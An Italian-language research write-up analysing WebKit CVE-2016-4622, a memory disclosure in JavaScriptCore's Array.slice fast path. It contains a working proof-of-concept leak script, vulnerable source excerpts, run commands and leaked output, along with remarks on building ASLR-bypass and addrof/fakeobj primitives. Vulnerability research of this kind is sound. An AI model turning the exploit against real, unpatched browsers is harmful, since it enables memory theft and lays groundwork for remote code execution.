Analisi di WebKit CVE-2016-4622: Approfondimento sulla vulnerabilità del percorso rapido Slice ValueOf

Analisi completa e sfruttamento della vulnerabilità del motore JavaScript Core di WebKit che consente la divulgazione di memoria attraverso la manipolazione di Array.slice

Sommario

• Sommario Esecutivo
• Panoramica della Vulnerabilità
• Configurazione dell'Ambiente di Ricerca
• Analisi Tecnica
• Procedura di Sfruttamento
• Risultati Principali
• Risorse e Riferimenti

Sommario Esecutivo

Questo repository contiene un'analisi completa di CVE-2016-4622, una vulnerabilità critica di divulgazione di memoria nel motore JavaScript Core di WebKit. La vulnerabilità deriva da una race condition nell'implementazione di Array.slice() che può essere sfruttata per perdere i contenuti di memoria adiacenti, fungendo da base per primitive di sfruttamento più sofisticate come addrof e fakeobj.

Impatto: Divulgazione di memoria che porta a potenziale esecuzione di codice remoto Componente Affetto: WebKit JavaScript Core (JSC) Causa Radice: Vulnerabilità Time-of-check-time-of-use (TOCTOU) nell'implementazione di fastSlice

Panoramica della Vulnerabilità

Il Problema Centrale

La vulnerabilità esiste nel 'percorso rapido' ottimizzato di WebKit per il metodo Array.slice(). Durante l'elaborazione dei parametri di slice, il motore converte gli argomenti oggetto in valori primitivi chiamando il loro metodo valueOf(). Questa conversione avviene dopo aver determinato i parametri dell'operazione di slice ma prima dell'effettiva operazione di copia in memoria.

Vettore di Attacco

var a = [];
for (var i = 0; i < 100; i++)
    a.push(i + 0.123);

var b = a.slice(0, {valueOf: function() { a.length = 0; return 10; }});
print(b);

Cosa succede:

1. L'array a viene creato con 100 elementi
2. Durante l'elaborazione dei parametri di slice, viene chiamato valueOf()
3. Il valueOf() malevolo riduce l'array a lunghezza 0
4. memcpy tenta di copiare 10 elementi da un array vuoto
5. Risultato: La memoria adiacente viene copiata, causando divulgazione di informazioni

Configurazione dell'Ambiente di Ricerca

Struttura del Repository

WebKit-CVE-2016-4622/
├── Saelo-Exploit-CVE-2016-4622/    # Implementazione di riferimento di Saelo
├── Exploit/                        # Tentativi di sfruttamento personalizzati
│   ├── poc-memleak.js             # Proof-of-concept di perdita di memoria
│   └── slice_over_array.js        # Esempi didattici
├── WebKit-SRC-CVE-2016-4622/     # Codice sorgente vulnerabile (commit 320b1fc)
├── WebKit-Bins/                   # Binari compilati per test
│   ├── Debug/                     # Build di debug con simboli
│   └── ASAN/                      # Build con AddressSanitizer abilitato
└── Screenshoots/                  # Documentazione visiva

Ambiente di Test

Binari: Binari JSC precompilati su VMWare OSX 10.11 con XCode 7.3.2 Architettura: Eseguibili Mach-O x86_64 Funzionalità di Debug: Simboli + AddressSanitizer per analisi completa

Esecuzione del Proof of Concept

cd WebKit-Bins/Debug
export DYLD_FRAMEWORK_PATH=$(pwd)
./jsc ../../Exploit/poc-memleak.js

# Expected output showing memory leak:
# 0.123,1.123,2.12199579146e-313,0,0,0,0,0,0,0

Analisi Tecnica

Comprensione del Meccanismo di Array.slice()

Il metodo Array.slice(begin, end) crea una copia superficiale di una porzione di un array. In condizioni normali:

var array = ['a', 'b', 'c', 'd'];
var subset = array.slice(1, 3);  // Returns ['b', 'c']

Intuizione chiave: Il parametro end subisce una conversione di tipo tramite valueOf(), creando una finestra per lo sfruttamento.

Analisi dello Stack di Chiamata

Quando la vulnerabilità si attiva, AddressSanitizer cattura questo flusso di chiamate:

#0  memcpy-param-overlap detected
#1  JSC::JSArray::fastSlice()
#2  JSC::arrayProtoFuncSlice()
#3  JavaScript execution context

Analisi Approfondita: Funzione per Funzione

1. arrayProtoFuncSlice() - Punto di Ingresso

Posizione: WebKit-SRC-CVE-2016-4622/Source/JavaScriptCore/runtime/ArrayPrototype.cpp:848-887

EncodedJSValue JSC_HOST_CALL arrayProtoFuncSlice(ExecState* exec)
{
    JSObject* thisObj = exec->thisValue().toThis(exec, StrictMode).toObject(exec);
    unsigned length = getLength(exec, thisObj);  // Initial length: 100
    
    // Critical: Parameter conversion happens here
    unsigned begin = argumentClampedIndexFromStartOrEnd(exec, 0, length);
    unsigned end = argumentClampedIndexFromStartOrEnd(exec, 1, length, length);
    
    // Fast path determination
    std::pair<SpeciesConstructResult, JSObject*> speciesResult = 
        speciesConstructArray(exec, thisObj, end - begin);
    
    if (LIKELY(speciesResult.first == SpeciesConstructResult::FastPath && isJSArray(thisObj))) {
        // Vulnerability triggers here
        if (JSArray* result = asArray(thisObj)->fastSlice(*exec, begin, end - begin))
            return JSValue::encode(result);
    }
    // ... fallback implementation
}

2. argumentClampedIndexFromStartOrEnd() - Il Trigger di Conversione

Posizione: WebKit-SRC-CVE-2016-4622/Source/JavaScriptCore/runtime/ArrayPrototype.cpp:224-236

static inline unsigned argumentClampedIndexFromStartOrEnd(ExecState* exec, int argument, unsigned length, unsigned undefinedValue = 0)
{
    JSValue value = exec->argument(argument);
    if (value.isUndefined())
        return undefinedValue;

    // CRITICAL: This is where valueOf() gets called
    double indexDouble = value.toInteger(exec);
    
    if (indexDouble < 0) {
        indexDouble += length;
        return indexDouble < 0 ? 0 : static_cast<unsigned>(indexDouble);
    }
    return indexDouble > length ? length : static_cast<unsigned>(indexDouble);
}

La Race Condition:

• Durante l'elaborazione del secondo parametro {valueOf: function() { a.length = 0; return 10; }}
• value.toInteger(exec) chiama il nostro valueOf() malevolo
• La nostra funzione modifica la lunghezza dell'array da 100 a 0
• Ma i parametri dell'operazione di slice (begin=0, end=10) rimangono invariati

3. fastSlice() - Dove Avviene la Corruzione della Memoria

Posizione: WebKit-SRC-CVE-2016-4622/Source/JavaScriptCore/runtime/JSArray.cpp:692-720

JSArray* JSArray::fastSlice(ExecState& exec, unsigned startIndex, unsigned count)
{
    auto arrayType = indexingType();
    switch (arrayType) {
    case ArrayWithDouble:
    case ArrayWithInt32:
    case ArrayWithContiguous: {
        // ... setup code ...
        
        auto& resultButterfly = *resultArray->butterfly();
        if (arrayType == ArrayWithDouble)
            // VULNERABILITY: Reads beyond array bounds
            memcpy(resultButterfly.contiguousDouble().data(), 
                   m_butterfly.get()->contiguousDouble().data() + startIndex, 
                   sizeof(JSValue) * count);
        // ...
    }
}

La Corruzione della Memoria:

• startIndex = 0, count = 10
• La lunghezza dell'array è ora 0 (modificata da valueOf())
• memcpy legge 10 JSValue a partire dall'indice 0
• Poiché l'array è vuoto, viene letta la memoria heap adiacente
• Risultato: Vulnerabilità di divulgazione delle informazioni

Procedura di Sfruttamento

Flusso di Attacco Passo dopo Passo

1. Fase di Configurazione

   root@kitploit:~

   var a = [];
   for (var i = 0; i < 100; i++)
       a.push(i + 0.123);
   

   • Crea un ArrayWithDouble con 100 elementi
   • Gli elementi sono memorizzati contiguamente in memoria

2. Fase di Attivazione

   root@kitploit:~

   var b = a.slice(0, {valueOf: function() { a.length = 0; return 10; }});
   

   • Avvia l'operazione di slice con un oggetto malevolo come parametro end
   • La convalida del percorso rapido passa (l'array appare normale)

3. Fase di Sfruttamento

   • La conversione dei parametri chiama valueOf()
   • La lunghezza dell'array viene ridotta a 0
   • fastSlice tenta di copiare 10 elementi da un array vuoto
   • La memoria adiacente viene persa nell'array risultante

4. Risultato

   root@kitploit:~

   0.123,1.123,2.12199579146e-313,0,0,0,0,0,0,0
   

   • Primi due valori: dati legittimi dell'array
   • Valori rimanenti: memoria adiacente persa

Rappresentazione Visiva

Before valueOf():  [0.123][1.123][2.123]...[99.123] (length=100)
After valueOf():   [] (length=0)
memcpy reads:      [0.123][1.123][LEAKED][LEAKED][LEAKED]...

Risultati Principali

Analisi della Causa Radice

Primitive di Sfruttamento

Questa vulnerabilità funge da base per:

• Divulgazione di Informazioni: Capacità di perdita diretta di memoria
• Bypass dell'ASLR: Potenziale rivelazione del layout dello spazio degli indirizzi
• Type Confusion: Configurazione per primitive addrof/fakeobj

Considerazioni Difensive

Strategie di Mitigazione:

• Convalidare i limiti dell'array prima delle operazioni memcpy
• Implementare un controllo coerente dello stato nei percorsi rapidi
• Aggiungere verifica runtime dei limiti per le operazioni ottimizzate

Risorse e Riferimenti

Articoli e Paper di Ricerca

• Attaccare i Motori JavaScript - Saelo (Phrack)
• Analisi di CVE-2016-4622 - TuringH
• Analisi Approfondita - null2root
• Tutorial sullo Sfruttamento di WebKit

Documentazione Tecnica

• Array.slice() - Documentazione MDN
• Codice Sorgente WebKit
• Architettura di JavaScript Core

Strumenti e Ambiente

• Commit Vulnerabile: 320b1fc3f6f
• Ambiente di Build: VMWare OSX 10.11, XCode 7.3.2
• Strumenti di Analisi: AddressSanitizer, GDB, Build di Debug di JSC

Cronologia della Ricerca: 11-12 Aprile 2020
Stato: Analisi Completata ✅
Prossimi Passi: Sviluppo della catena di sfruttamento completa con primitive addrof/fakeobj